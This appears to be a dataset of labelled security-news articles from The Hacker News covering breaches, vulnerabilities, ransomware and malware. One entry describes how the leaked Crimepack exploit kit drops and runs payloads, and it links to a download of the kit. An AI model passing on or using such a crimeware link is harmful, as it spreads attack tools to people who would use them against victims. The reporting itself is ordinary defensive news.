The usability of the token is still unclear. Neither the explanation of tokens provided by Bitfinex is much clear, nor the legal status of the tokens is known.
""The BFX tokens will remain outstanding until repaid in full by Bitfinex or exchanged for shares of iFinex Inc,"" explains the company. ""The specific conditions associated with the exchange of these tokens will be explained in a later announcement.""
For the incident report filed by the Bitfinex user, you can head on to this link. No further details about the case are available at this moment.

Shortly after the breach of around $72 Million worth of its customers' Bitcoins, Hong Kong-based Bitcoin exchange announced a reward of $3.5 Million to anyone who can provide information that leads to the recovery of the stolen Bitcoins.

The incident was so big that the price of Bitcoin was dropped almost 20%, from $602.78 to $541 per Bitcoin, within a day after the announcement.

",Cyber_Attack
Health Insurer Excellus Hacked; 10.5 Million Records Breached,https://thehackernews.com/2015/09/health-insurance-hacking.html,"Health Care Hacks — the choice of hackers this year!

In a delayed revelation made by Excellus BlueCross BlueShield (BCBS), which says that about 10.5 Millions of their clients' data and information has been compromised by hackers.

Excellus BCBS headquartered in Rochester, New York, provides finance and health care services across upstate New York and long-term care insurance nationwide.

On August 5, 2015, Excellus BCBS discovered that the hackers targeted their IT systems back in December 2013, initiating a sophisticated attack to gain access to their systems and record client's personal data.

The Compromised Data includes:
Social Security Number (SSN)
Date of birth
Mailing address
Telephone number
Member identification number
Financial account information
Claims information
Did they forget something?...It seems everything is gone!

Moreover, it's been two years Excellus systems were open to the hackers. So, what the company was doing all this time?

Excellus BlueCross BlueShield in their statement said:
""This incident also affected members of other Blue Cross Blue Shield plans who sought treatment in the 31 county upstate New York service area of Excellus BCBS. Individuals who do business with us and provided us with their financial account information or Social Security number are also affected.""
The company has hired Mandiant Incident Response Team of FireEye Inc to help investigate the matter and to bring its systems back to normal by providing adequate remediation solutions.

Though the investigation has gathered no such evidence relating to removal of data, use or misuse of the compromised data.

Further, To save customers valuable data, the company showed concerns for the affected customers and said that they are going to:
Mail letters to its customers to let them know the facts and how they can in future secure their identity.
Offer cover of two years of free identity theft protection services and credit monitoring to affected individuals.
Moreover, for others, who are worried regarding their security can contact Excellus on 1-877-589-3331 (Toll-free) to know about the incident.

At the start of this year, Cyber attacks victims in health care were:
Anthem Healthcare with data breach of 80 million (the largest of all)
Premera with approximately 11 millions of users personal data being stolen
UCLA Health System with 4.5 millions of data leaks leading to identity theft
CareFirst with affecting 1.1 million (approx) customers
All the above companies were using BlueCross BlueShield insurance plans except UCLA health system.

Also, we need to think that for what purpose the hackers are going to use this bulk information...or is it the calm before the storm?

If we notice, vendors running BCBS plans are the ones mostly affected by this data breach.

So is the BCBS Association the target of the hackers? That one after the other its vendors offering insurance services are being victims of such massive data breaches.

This indeed makes us think of the potential of not only the cyber attacks and security but also the current threats to health care and associated bio-medical devices.

",Data_Breaches
Exim TLS Flaw Opens Email Servers to Remote 'Root' Code Execution Attacks,https://thehackernews.com/2019/09/exim-email-server-vulnerability.html,"A critical remote code execution vulnerability has been discovered in the popular open-source Exim email server software, leaving at least over half a million email servers vulnerable to remote hackers.

Exim maintainers today released Exim version 4.92.2 after publishing an early warning two days ago, giving system administrators a heads-up on its upcoming security patches that affect all versions of the email server software up to and including then-latest 4.92.1.

Exim is a widely used, open source mail transfer agent (MTA) software developed for Unix-like operating systems such as Linux, Mac OSX or Solaris, which runs almost 60% of the internet's email servers today for routing, delivering and receiving email messages.

Tracked as CVE-2019-15846, the security vulnerability only affects Exim servers that accept TLS connections, potentially allowing attackers to gain root-level access to the system ""by sending an SNI ending in a backslash-null sequence during the initial TLS handshake.""

SNI, stands for Server Name Indication, is an extension of the TLS protocol that allows the server to safely host multiple TLS certificates for multiple sites, all under a single IP address.

According to the Exim team, since the vulnerability doesn't depend on the TLS library being used by the server, both GnuTLS and OpenSSL are affected.

Moreover, though the default configuration of the Exim mail server software doesn't come with TLS enabled, some operating systems bundled the Exim software with the vulnerable feature enabled by default.

The vulnerability was discovered by an open source contributor and security researcher who goes by the online alias Zerons and analyzed by cybersecurity experts at Qualys.

Just three months ago, Exim also patched a severe remote command execution vulnerability, tracked as CVE-2019-10149, that was actively exploited in the wild by various groups of hackers to compromise vulnerable servers.

The Exim advisory says that a rudimentary proof of concept (PoC) exists for this flaw, but currently there is no known exploit available to the public.

Server administrators are highly recommended to install the latest Exim 4.92.2 version immediately, and if not possible, can mitigate the issue by not allowing unpatched Exim servers to accept TLS connections.

The team says, ""If you can't install the above versions, ask your package maintainer for a version containing the backported fix. On request and depending on our resources we will support you in backporting the fix.""

",Vulnerability
Hackers Are Targeting Microsoft Exchange Servers With Ransomware,https://thehackernews.com/2021/03/icrosoft-exchange-ransomware.html,"It didn't take long. Intelligence agencies and cybersecurity researchers had been warning that unpatched Exchange Servers could open the pathway for ransomware infections in the wake of swift escalation of the attacks since last week.
Now it appears that threat actors have caught up.
According to the latest reports, cybercriminals are leveraging the heavily exploited ProxyLogon Exchange Server flaws to install a new strain of ransomware called ""DearCry.""
""Microsoft observed a new family of human operated ransomware attack customers – detected as Ransom:Win32/DoejoCrypt.A,"" Microsoft researcher Phillip Misner tweeted. ""Human operated ransomware attacks are utilizing the Microsoft Exchange vulnerabilities to exploit customers.""
Microsoft's security intelligence team, in a separate tweet, confirmed that it has begun ""blocking a new family of ransomware being used after an initial compromise of unpatched on-premises Exchange Servers.""
Security firm Kryptos Logic said it identified about 6,970 exposed web shells, some of which were used to infect the compromised servers with DearCry ransomware, suggesting that other cybercriminal groups are piggybacking on the first-stage web shell backdoor planted by the Hafnium threat actor to install additional malware of their choice.
Calling DearCry a ""copy"" ransomware, Sophos Director Mark Loman said the strain creates encrypted copies of the attacked files using an encryption key embedded in the ransomware binary and deletes the original versions, thereby allowing the victims to ""potentially recover some data"" due to this encryption-behavior.
""Defenders should take urgent steps to install Microsoft's patches to prevent exploitation of their Microsoft Exchange patches. If this is not possible, the server should be disconnected from the internet or closely monitored by a threat response team,"" Loman said.
In a joint advisory published by the U.S. Cybersecurity and Infrastructure Security Agency (CISA) and the Federal Bureau of Investigation (FBI), the agencies warned that ""adversaries could exploit these vulnerabilities to compromise networks, steal information, encrypt data for ransom, or even execute a destructive attack.""
Successful weaponization of the flaws allows an attacker to access victims' Exchange Servers, enabling them to gain persistent system access and control of an enterprise network. With the new ransomware threat, unpatched Servers are not only at risk of potential data theft but also get potentially encrypted, preventing access to an organization's mailboxes.
PoC Takedown From GitHub Triggers Debate
Meanwhile, as nation-state hackers and cybercriminals pile on to take advantage of the ProxyLogon flaws, a proof-of-concept (PoC) code shared on Microsoft-owned GitHub by a security researcher has been taken down by the company, citing that the exploit is under active attack.
In a statement to Vice, the company said, ""In accordance with our Acceptable Use Policies, we disabled the gist following reports that it contains proof of concept code for a recently disclosed vulnerability that is being actively exploited.""
The move has also sparked a debate of its own, with researchers arguing that Microsoft is ""silencing security researchers"" by removing PoCs shared on GitHub.
""This is huge, removing a security researchers code from GitHub against their own product and which has already been patched,"" TrustedSec's Dave Kennedy said. ""It was a PoC, not a working exploit — none of the PoCs have had the RCE. Even if it did, that's not their call on when the appropriate time to release is. It's an issue in their own product, and they are silencing security researchers on that.""
This was also echoed by Google Project Zero researcher Tavis Normandy.
""If the policy from the start was no PoC/metasploit/etc — that would suck, but it's their service,"" Normandy said in a tweet. ""Instead they said OK, and now that it's become the standard for security pros to share code, they have elected themselves the arbiters of what is 'responsible.' How convenient.""
But replying to Kennedy on Twitter, security researcher Marcus Hutchins said ""'Has already been patched.' Dude, there's more than 50,000 unpatched exchange servers out there. Releasing a full ready to go RCE chain is not security research, it's recklessness and stupid.""
If anything, the avalanche of attacks should serve as a warning to patch all versions of the Exchange Server as soon as possible, while also take steps to identify signs of indicators of compromise associated with the hacks, given that the attackers were exploiting these zero-day vulnerabilities in the wild for at least two months before Microsoft released the patches on March 2.

",Malware
Critical Pre-Auth RCE Flaw Found in F5 Big-IP Platform — Patch ASAP!,https://thehackernews.com/2021/03/critical-pre-auth-rce-flaw-found-in-f5.html,"Application security company F5 Networks on Wednesday published an advisory warning of four critical vulnerabilities impacting multiple products that could result in a denial of service (DoS) attack and even unauthenticated remote code execution on target networks.
The patches concern a total of seven related flaws (from CVE-2021-22986 through CVE-2021-22992), two of which were discovered and reported by Felix Wilhelm of Google Project Zero in December 2020.
The four critical flaws affect BIG-IP versions 11.6 or 12.x and newer, with a critical pre-auth remote code execution (CVE-2021-22986) also affecting BIG-IQ versions 6.x and 7.x. F5 said it's not aware of any public exploitation of these issues.
Successful exploitation of these vulnerabilities could lead to a full compromise of vulnerable systems, including the possibility of remote code execution as well as trigger a buffer overflow, leading to a DoS attack.
Urging customers to update their BIG-IP and BIG-IQ deployments to a fixed version as soon as possible, F5 Networks' Kara Sprague said the ""vulnerabilities were discovered as a result of regular and continuous internal security testing of our solutions and in partnership with respected third parties working through F5's security program.""
The vulnerabilities have been addressed in the following products:
BIG-IP versions: 16.0.1.1, 15.1.2.1, 14.1.4, 13.1.3.6, 12.1.5.3, and 11.6.5.3
BIG-IQ versions: 8.0.0, 7.1.0.3, and 7.0.0.2
Besides these flaws, Wednesday's patches also include fixes for 14 other unrelated security issues.
The fixes are notable for the fact that it's the second time in as many years that F5 has revealed flaws that could allow remote code execution.
The latest update to BIG-IP software arrives less than a year after the company addressed a similar critical flaw (CVE-2020-5902) in early July 2020, with multiple hacking groups exploiting the bug to target unpatched devices, prompting the U.S. Cybersecurity and Infrastructure Security Agency (CISA) to issue an alert cautioning of a ""broad scanning activity for the presence of this vulnerability across federal departments and agencies.""
""This bug is probably going to fly under the radar, but this is a much bigger deal than it looks because it says something is really really broken in the internal security process of F5 BIG-IP devices,"" said Matt ""Pwn all the Things"" Tait in a tweet.

",Malware
Unbreakable Apple's iMessage encryption is vulnerable to eavesdropping attack,https://thehackernews.com/2013/10/unbreakable-apples-imessage-encryption.html,"Though Apple claims iMessage has end-to-end encryption, But researchers claimed at a security conference that Apple's iMessage system is not protected and the company can easily access it.

Cyril Cattiaux - better known as pod2g, who has developed iOS jailbreak software, said that the company's claim about iMessage protection by unbreakable encryption is just a lie, because the weakness is in the key infrastructure as it is controlled by Apple: they can change a key anytime they want, thus read the content of our iMessages.
Basically, when you send an iMessage to someone, you grab their public key from Apple, and encrypt your message using that public key. On the other end, recipients have their own private key that they use to decrypt this message. A third-party won't be able to see the actual message unless they have access to the private key.

Trust and public keys always have a problem, but the researchers noted that there's no evidence that Apple or the NSA is actually reading iMessages, but say that it's possible. ""Apple has no reason to do so. But what of intelligence agencies?"" he said.
The researchers were able to create a bogus certificate authority and then add it to an iPhone Keychain to proxify SSL encrypted communications to and from the device, and in the process discovered that their AppleID and password was being transmitted in clear text.

He says that since Apple controls the public key directory that gives you the public key for every user, it could perform a man-in-the-middle (MITM) attack to intercept your messages if asked to by a government agency.

A solution for Apple would be to store public keys locally in a protected database within iOS, as then the keys could be compared.

",Vulnerability
Rogue software update cause Malware attack on Japanese Nuclear Power Plant,https://thehackernews.com/2014/01/rogue-software-update-cause-malware_9.html,"The most critical and worst target of a State-sponsored cyber-attacks could be Hospitals, Dams, Dykes and Nuclear power stations and this may cause military conflicts between countries.
According to Japan Today, The Monju nuclear power plant in Tsuruga, Japan was accidentally targeted by a malware on 2nd January, when a worker updated the system to the latest version of the video playback program.

Monju Nuclear Plant is a sodium-cooled fast reactor, was launched in April 1994. It has not been operational for most of the past 20 years, after an accident in which a sodium leak caused a major fire.

Employees over there are only left with a regular job of company's paperwork and maintenance. So the malware could have stolen only some sensitive documents, emails, training records and employees' data sheets. The Malware command-and-control server suspected to be from South Korea.

The malware itself is not much sophisticated like Stuxnet or Duqu, but the unmanaged software update and patch management system can seriously lead to a critical cyber attack. Even being isolated from the Internet does not prevent you from being infected.

One of the best examples of flawed Internal policies is Stuxnet, one of the most infamous pieces of malware ever created to destroy Iranian Nuclear plants and infected the systems through a USB stick only.

Also in November, The Kaspersky revealed that Russian astronauts carried a removable device into space which infected systems on the space station.

",Data_Breaches
Hacking Facebook users just from chat box using multiple vulnerabilities,https://thehackernews.com/2013/04/hacking-facebook-users-just-from-chat.html,"Nir Goldshlager, Founder/CEO at Break Security known for finding serious flaws in Facebook once again on The Hacker News for sharing his new finding i.e Stored Cross-site Scripting (XSS) in Facebook Chat, Check In and Facebook Messenger.

Stored Cross-site Scripting (XSS) is the most dangerous type of Cross Site Scripting. Web applications where the injected code is permanently stored on the target servers, such as in a database, in a message forum, visitor log, comment field, etc
1.) Stored XSS In Facebook Chat: This vulnerability can be used to conduct a number of browser-based attacks including, Hijacking another user's browser, Capturing sensitive information viewed by application users, Malicious code is executed by the user's browser etc.

When a user starts a new message within Facebook that has a link inside, a preview GUI shows up for that post. The GUI is used for presenting the link post using a parameter i.e attachment[params][title],attachment[params][urlInfo][final] , which was not actually filtered for valid links by Facebook.


For proof of concept, Goldshlager exploit this flaw in a way, that each time the victim clicks on this malicious message in Facebook Chat, the Stored XSS will begin to run on their client, as shown:



2.) Stored XSS In Facebook Check-In: The other major and an interesting Stored XSS that Nir reported is in the Facebook Check-In Screen. To exploit this loophole the attackers needs to first construct a new location within Facebook Pages and then, the attacker must change the settings in those new location. When the victim later decides to go to the place the attacker has been, a Stored XSS will run client-side.


3.) Stored XSS In Facebook Messenger (Windows): 3rd and serious flaw in Facebook is capable of injecting a Stored XSS Payload in Facebook Messenger for Windows. Any time the victim sign in into their account in the Messenger, the Stored XSS code will execute on victim's end.

Video Demonstrations



Bugs was reported to Facebook last month by Nir and already patched by Facebook security team.

Old Finding by Nir:

Facebook OAuth flaw allows gaining full control over any Facebook account
Facebook hacking accounts using another OAuth vulnerability
URL Redirection flaw in Facebook apps push OAuth vulnerability again in action

",Vulnerability
"Crimepack 3.1.3 Exploit kit Leaked, available for Download !",https://thehackernews.com/2011/05/crimepack-313-exploit-kit-leaked.html,"Crimepack 3.1.3 Exploit kit Leaked, available for Download !


Part 1: Java Exploit
As stated above, I focus on a malware that exploits a recent JRE vulnerability: CVE-2010-0840 to execute malicious files on a victim system. This malware comes inside a jar file, which contains the following two classes: Crimepack.class and KAVS.class.
Part 1.1: Crimepack.class
This class is the engine of the malware, it is obfuscated, but you can quickly strip off the obfuscation (my python beta tool is great…), once you get rid of the obfuscation you can see the following code:
As always, we have an Applet that access to the data parameter, generates a random name for the exe payload that will be dropped in the system temp directory and then executed. So at this point as you can see we have nothing new, the above is a common Java downloader… but let's scroll down:

Above, we can see that the malware is creating a new instance of the KAVS class (description follows), in order to trigger the JRE vulnerability by using a call to the getValue() method (..snipped above..).
Part 1.2: KAVS.class
Here is the hand-crafted class, I say hand-crafted because such class cannot be compiled by using a standard compiler, so you have to edit the compiled class by editing the bytecode:

Part 2: PDF-generator on demand
The kit contains a nice php script that drops custom pdf on-demand, which means that you can have several mutations of the same piece of malware, by simply connecting to a malicious link.





Download Here : https://www.multiupload.com/3HGKHWMRS5


Source

",Malware
"DNS cache poisoning attack on Google, Gmail, YouTube, Yahoo, Apple",https://thehackernews.com/2011/12/dns-cache-poisoning-attack-on-google.html,"DNS cache poisoning attack on Google, Gmail, YouTube, Yahoo, Apple

Hacker with nickname AlpHaNiX deface Google, Gmail, Youtube, Yahoo, Apple etc domains of Democratic Republic of Congo. Hacker use strategy so-called DNS cache poisoning.

DNS cache poisoning is a security or data integrity compromise in the Domain Name System (DNS). The compromise occurs when data is introduced into a DNS name server's cache database that did not originate from authoritative DNS sources. It may be a deliberate attempt of a maliciously crafted attack on a name server.

Hacked websites are :
https://apple.cd/
https://yahoo.cd/
https://gmail.cd/
https://google.cd/
https://youtube.cd/
https://linux.cd/
https://samsung.cd/
https://hotmail.cd/
https://microsoft.cd/

[Source]

",Vulnerability
New Mac Malware 'Dockster' Found on Dalai Lama site,https://thehackernews.com/2012/12/new-mac-malware-dockster-found-on-dalai.html,"A new trojan horse app called Dockster is targeting Mac users by exploiting a known Java vulnerability CVE-2012-0507. The trojan is apparently being delivered through a website (gyalwarinpoche.com) dedicated to the Dalai Lama and once installed can collect user keystrokes and other personal information.
Mac in Danger ? Earlier this spring, a Russian security firm discovered a trojan piece of malware which took advantage of a Java vulnerability on many computers, Macs and PCs alike. This trojan, known as ""Flashback,"" was used to enlist some 600,000 infected computers into a botnet.

Malware also provides an interface that allows attackers to download and execute additional malware. Dockster has been found to use the same exploit code as the previous SabPab virus to gain access through a backdoor. Dockster is also said to launch an agent called mac.dockset.deman, which restarts each time a user logs in to their Mac.


Dockster is only the latest Mac-based threat to hit organizations and people sympathetic to Tibet's conflict with the Chinese government.

In April, another piece of malware, known as ""Backdoor.OSX.SabPub,"" or ""SabPub"" was found and distributed through Microsoft Office files sent to those who may sympathize with Tibet. The attackers behind SabPub used a technique known as ""Spear-Phishing,"" a practice used to target smaller groups of people as opposed to sending out mass emails in hopes that someone will click a link.

In September, security firm AlienVault said it had discovered the creator of the PlugX Remote Access Tool (RAT), which had been used by hackers from various countries to target Tibet. The creator hailed from China.

",Malware
First Android Clipboard Hijacking Crypto Malware Found On Google Play Store,https://thehackernews.com/2019/02/android-clickboard-hijacking.html,"A security researcher has discovered yet another cryptocurrency-stealing malware on the official Google Play Store that was designed to secretly steal bitcoin and cryptocurrency from unwitting users.

The malware, described as a ""Clipper,"" masqueraded as a legitimate cryptocurrency app and worked by replacing cryptocurrency wallet addresses copied into the Android clipboard with one belonging to attackers, ESET researcher Lukas Stefanko explained in a blog post.

Since cryptocurrency wallet addresses are made up of long strings of characters for security reasons, users usually prefer copying and pasting the wallet addresses using the clipboard over typing them out.

The newly discovered clipper malware, dubbed Android/Clipper.C by ESET, took advantage of this behavior to steal users cryptocurrency.

To do this, attackers first tricked users into installing the malicious app that impersonated a legitimate cryptocurrency service called MetaMask, claiming to let users run Ethereum decentralized apps in their web browsers without having to run a full Ethereum node.

Officially, the legitimate version of MetaMask is only available as a web browser extension for Chrome, Firefox, Opera, or Brave, and is not yet launched on any mobile app stores.

However, Stefanko spotted the malicious MetaMask app on Play Store targeting users who want to use the mobile version of the service by changing their legitimate cryptocurrency wallet address to the hacker's own address via the clipboard.
As a result, users who intended to transfer funds into a cryptocurrency wallet of their choice would instead make a deposit into the attacker's wallet address pasted by the malicious app.

""Several malicious apps have been caught previously on Google Play impersonating MetaMask. However, they merely phished for sensitive information with the goal of accessing the victims' cryptocurrency funds,"" Stefanko said.

""Android Clipper targeted Bitcoin and Ethereum cryptocurrency addresses when being copied in to clipboard and replaced them with the attacker's wallet address. Once this transaction is sent, it can not be canceled.""

Stefanko spotted the malicious MetaMask app, which he believes was the first Android Trojan Clipper to be discovered on Play Store, shortly after its introduction to the app store on February 1.

Google took down the malicious app almost immediately after being notified by the researcher.

While the bitcoin price has been dropped steadily since hitting its all-time high in December 2017, there is no reduction (in fact rise) in the cryptocurrency scandals, thefts, and scams that continue to plague the industry.

Just last week, The Hacker News reported how customers of the largest Canadian bitcoin exchange QuadrigaCX lost $145 million in cryptocurrency after the sudden death of its owner who was the only one with access to the company's cold (offline) storage wallets. However, some users and researchers are suggesting the incident could be an exit scam.

",Malware
The FixMeStick : My Parents Need This,https://thehackernews.com/2012/09/the-fixmestick-my-parents-need-this.html,"The founders over at FixMeStick sent us a pair of their latest devices to check out. The FixMeStick is, in short, a malware removal device for dummies. The FixMeStick is a bootable USB device running Lubuntu and integrates three separate anti-virus scanners from Kaspersky Labs, Sophos, and GFI. While our readers will probably never need it for themselves, we may all wish we had something like this for our non-technical friends and family, or the 9 million PCs infected with ZeroAccess botnet. The FixMeStick does a lot of things that nobody else does on a bootable USB, and let's be real, removing rootkits is never pleasant or easy.

Why I Want it For My Parents
Linux: the FixMeStick is a Linux-based device that runs before Windows boots enabling it to remove infections without the infection getting stealthy or playing war with my parent's anti-virus software.

N-Scanner architecture: contains an integrated multi-scanner composed of three engines: Kaspersky Labs, Sophos, and GFI's VIPRE.

Full screen app: all the technology is integrated behind a single full-screen application, my parents never see Linux, or any of the three anti-virus engines. Typical Linux shortcut keys still work, but there's no risk of my mother wandering off into vi.

It's the easiest thing to use: right out of the box my parents just plug it into a USB port and double-click ""Run FixMeStick"". There's no software to install. The FixMeStick does this clever little hack with the Windows boot manager getting Windows to boot the FixMeStick one time. This means my parents don't have to futz with the BIOS, but you still can if you want to.

WiFi: supports wireless adapters and automatically finds my parents SSID and password from the Windows side and sets up the connection. My parents do nothing. I get no phone call from them. Automatic updates are fetched and stored directly on the FixMeStick.

It boots on everything: the boot-loader is setup such that it can support different boot configurations without my parents having to do anything. BIOS compatibility has been a killer to Live USBs, but we've not found a PC the FixMeStick will not boot on, including the fancy VAIOs that ship with a Boot From External Device setting off by default.

Out-of-band-management: this is quite cool, there's a remote connection client built into the FixMeStick, so if my parents need support, the FixMeStick engineers can connect directly to the device without my parents having to do anything other than provide the randomly generated userid and password generated by the app.

What's Not Good:
Out-of-band-management! A bad actor could call my parents and tell them to plug in the FixMeStick and get the userid\password. Of course, such a social engineering attack is possible whether there's a FixMeStick in the house or not.

Denial of Service: Malware can deny access to the FixMeStick by smoking the MBR or the Linux files. There are a few ways to fix this, and you probably know what they are, and we expect to see one implemented in the next major version of the FixMeStick.

50% Discounts for The Hacker News readers:
Overall, we like this product. It's practical and well built. And while the digital futurists may be calling the end of the PC, the next massive botnet is not likely to run on iOS or Android. The FixMeStick provides a practical means for non-technical people to clean their own PCs.

Other, back of the box type information:
$49.99, with free shipping to anywhere in the world.
Toll free support with the real security people.
Works an unlimited number of times on up to 3 different PCs for a year. The PC count is reset each calendar month so people don't have to worry about adding\retiring PCs.
When the year is up, recharges can be purchased from www.FixMeStick.com.
The Windows launcher works on Windows XP, Vista, 7, and 8.
A minimum of 512MB RAM on the host PC.
Here's a coupon for the first 50 The Hacker News readers for 50% off the FixMeStick: FixMeStick-THN. You can have it shipped directly to your parents ;)

",Malware
Researcher Demonstrates 4 New Variants of HTTP Request Smuggling Attack,https://thehackernews.com/2020/08/http-request-smuggling.html,"A new research has identified four new variants of HTTP request smuggling attacks that work against various commercial off-the-shelf web servers and HTTP proxy servers.

Amit Klein, VP of Security Research at SafeBreach who presented the findings today at the Black Hat security conference, said that the attacks highlight how web servers and HTTP proxy servers are still susceptible to HTTP request smuggling even after 15 years since they were first documented.

What is HTTP Request Smuggling?

HTTP request smuggling (or HTTP Desyncing) is a technique employed to interfere with the way a website processes sequences of HTTP requests that are received from one or more users.

Vulnerabilities related to HTTP request smuggling typically arise when the front-end (a load balancer or proxy) and the back-end servers interpret the boundary of an HTTP request differently, thereby allowing a bad actor to send (or ""smuggle"") an ambiguous request that gets prepended to the next legitimate user request.

This desynchronization of requests can be exploited to hijack credentials, inject responses to users, and even steal data from a victim's request and exfiltrate the information to an attacker-controlled server.

The technique was first demonstrated in 2005 by a group of researchers from Watchfire, including Klein, Chaim Linhart, Ronen Heled, and Steve Orrin. But in the last five years, a number of improvements have been devised, significantly expanding on the attack surface to splice requests into others and ""gain maximum privilege access to internal APIs,"" poison web caches, and compromise login pages of popular applications.

What's New?

The new variants disclosed by Klein involve using various proxy-server combinations, including Aprelium's Abyss, Microsoft IIS, Apache, and Tomcat in the web-server mode, and Nginx, Squid, HAProxy, Caddy, and Traefik in the HTTP proxy mode.



The list of all new four new variants is as below, including an old one that the researcher successfully exploited in his experiments.

Variant 1: ""Header SP/CR junk: …""
Variant 2 – ""Wait for It""
Variant 3 – HTTP/1.2 to bypass mod_security-like defense
Variant 4 – a plain solution
Variant 5 – ""CR header""


When handling HTTP requests containing two Content-Length header fields, Abyss, for example, was found to accept the second header as valid, whereas Squid used the first Content-Length header, thus leading the two servers to interpret the requests differently and achieve request smuggling.

In situations where Abyss gets an HTTP request with a body whose length is less than the specified Content-Length value, it waits for 30 seconds to fulfill the request, but not before ignoring the remaining body of the request. Klein found that this also results in discrepancies between Squid and Abyss, with the latter interpreting portions of the outbound HTTP request as a second request.

A third variant of the attack uses HTTP/1.2 to circumvent WAF defenses as defined in OWASP ModSecurity Core Rule Set (CRS) for preventing HTTP request smuggling attacks craft a malicious payload that triggers the behavior.

Lastly, Klein discovered that using the ""Content-Type: text/plain"" header field was sufficient to bypass paranoia level checks 1 and 2 specified in CRS and yield an HTTP Request Smuggling vulnerability.

What Are the Possible Defenses?

After the findings were disclosed to Aprelium, Squid, and OWASP CRS, the issues were fixed in Abyss X1 v2.14, Squid versions 4.12, and 5.0.3 and CRS v3.3.0.

Calling for normalization of outbound HTTP Requests from proxy servers, Klein stressed the need for an open source, robust web application firewall solution that's capable of handling HTTP Request Smuggling attacks.

""ModSecurity (combined with CRS) is indeed an open source project, but as for robustness and genericity, mod_security has several drawbacks,"" Klein noted. ""It doesn't provide full protection against HTTP Request Smuggling [and] it is only available for Apache, IIS and nginx.""

To this end, Klein has published a C++-based library that ensures that all incoming HTTP requests are entirely valid, compliant, and unambiguous by enforcing strict adherence to HTTP header format and request line format. It can be accessed from GitHub here.

",Cyber_Attack
Bad Rabbit: New Ransomware Attack Rapidly Spreading Across Europe,https://thehackernews.com/2017/10/bad-rabbit-ransomware-attack.html,"A new widespread ransomware attack is spreading like wildfire around Europe and has already affected over 200 major organisations, primarily in Russia, Ukraine, Turkey and Germany, in the past few hours.

Dubbed ""Bad Rabbit,"" is reportedly a new Petya-like targeted ransomware attack against corporate networks, demanding 0.05 bitcoin (~ $285) as ransom from victims to unlock their systems.

According to an initial analysis provided by the Kaspersky, the ransomware was distributed via drive-by download attacks, using fake Adobe Flash players installer to lure victims' in to install malware unwittingly.

""No exploits were used, so the victim would have to manually execute the malware dropper, which pretends to be an Adobe Flash installer. We've detected a number of compromised websites, all of which were news or media websites."" Kaspersky Lab said.

However, security researchers at ESET have detected Bad Rabbit malware as 'Win32/Diskcoder.D' — a new variant of Petya ransomware, also known as Petrwrap, NotPetya, exPetr and GoldenEye.

Bad Rabbit ransomware uses DiskCryptor, an open source full drive encryption software, to encrypt files on infected computers with RSA 2048 keys.
ESET believes the new wave of ransomware attack is not using EternalBlue exploit — the leaked SMB vulnerability which was used by WannaCry and Petya ransomware to spread through networks.

Instead it first scans internal network for open SMB shares, tries a hardcoded list of commonly used credentials to drop malware, and also uses Mimikatz post-exploitation tool to extract credentials from the affected systems.

The ransom note, shown above, asks victims to log into a Tor onion website to make the payment, which displays a countdown of 40 hours before the price of decryption goes up.

The affected organisations include Russian news agencies Interfax and Fontanka, payment systems on the Kiev Metro, Odessa International Airport and the Ministry of Infrastructure of Ukraine.

Researchers are still analyzing Bad Rabbit ransomware to check if there is a way to decrypt computers without paying ransomware and how to stop it from spreading further.

How to Protect Yourself from Ransomware Attacks?

Kaspersky suggest to disable WMI service to prevent the malware from spreading over your network.

Most ransomware spread through phishing emails, malicious adverts on websites, and third-party apps and programs.

So, you should always exercise caution when opening uninvited documents sent over an email and clicking on links inside those documents unless verifying the source to safeguard against such ransomware infection.

Also, never download any app from third-party sources, and read reviews even before installing apps from official stores.

To always have a tight grip on your valuable data, keep a good backup routine in place that makes their copies to an external storage device that isn't always connected to your PC.

Make sure that you run a good and effective anti-virus security suite on your system, and keep it up-to-date.

",Cyber_Attack
"Yahoo data leak by Virus_Hima, Why do we need a proactive security?",https://thehackernews.com/2012/12/yahoo-data-leak-by-virushima-why-do-we.html,"In November I was contacted for first time by the Egyptian Hacker named ViruS_HimA who announced me to have hacked into Adobe servers and leaked private data.

The hacker violated Adobe servers gaining full access and dumping the entire database with more of 150,000 emails and hashed passwords of Adobe employees and customers/partner of the firm such as US Military, USAF, Google, Nasa DHL and many other companies.

ViruS_HimA specifically addressed the inefficient and slow patch management process that leaves exposed for long period ""big companies"".

""When someone report vulnerability to them, It take 5-7 days for the notification that they've received your report!! It even takes 3-4 months to patch the vulnerabilities! Such big companies should really respond very fast and fix the security issues as fast as they can.""

Like , we reported two days before that one month old reported critical vulnerability of account hijacking in Outlook and Hotmail is still working and Microsoft is not in any mood to fix it soon.
In a blog post, Adobe confirm that their ""Adobe Connect conferencing service"" forum was compromised and that the its database belongs only to the forum. Adobe also confirmed that ""not appear that any other Adobe services effected""

The attack wasn't politically motivated, ViruS_HimA desired to demonstrate how much vulnerable are also big enterprises such as Adobe, one of the most important company in IT landscape that leaks of a proper security defense. In that occasion the hacker anticipated a new striking attack against Yahoo.

""Don't be like Microsoft,Yahoo security teams!! but be like Google security team"" Qouted from Hima. As promised, the day has come, Yahoo data was stolen by Virus_Hima, that published the announcement on Pastebin and also on AnonPaste.

In the first part of the post the hacker confirm to be a single individual with ethical intents, he is a passionate penetration tester that already found tens of 0-days vulnerabilities in big web sites such as Adobe/Micorsoft/Yahoo/Google/Apple/Facebook and many more.

The hacker doesn't desire to damage the business of any company, he declared: ""I've published only little records for Adobe and I will never use/share/sell/publish Adobe/Yahoo data/exploits anywhere""

The situation appears paradoxical, according Virus_Hima the Yahoo company never replied to his alerts demonstrating the low attention to security questions : ""So i decided to teach both of them a hard lesson to harden them security procedures. It would make a disaster if such companies vulnerabilities was privately used in the underground and they never know about it! not only their customers been affected but the vendors themselves also suffer from such exploits. Adobe acrobat/flash, Yahoo data leak of that 400k emails, and that hotmail remote password reset vulnerabilities is an example.. ""

The hacker to be credible decided to leak critical emails such as military ones to force companies to take action. He highlighted that acting in this was obtained a fast response, just one day, in the past when in similar situation he alerted the victims, the enterprises have released a patch in 3 or 4 months.

Following the proofs of the hack proposed by the Egyptian hacker:
1.) Leaks contains: Full files backup for one of Yahoo domains!! [Lead to full access on the server of that domain] Full access to ""12"" of Yahoo Databases!! [Lead to full access on the server of that domain] Reflected-XSS(Cross Site Scripting) vulnerability.
2. ) Hints for DB's names: Pr***tionH**s, k*az*y << fair eh?

3.) XSS(Cross Site Scripting) vulnerability :

The hacker desires also to inform the readers that he never sold Yahoo exploit before, the guy that done it in the past for 700$ is a different person.

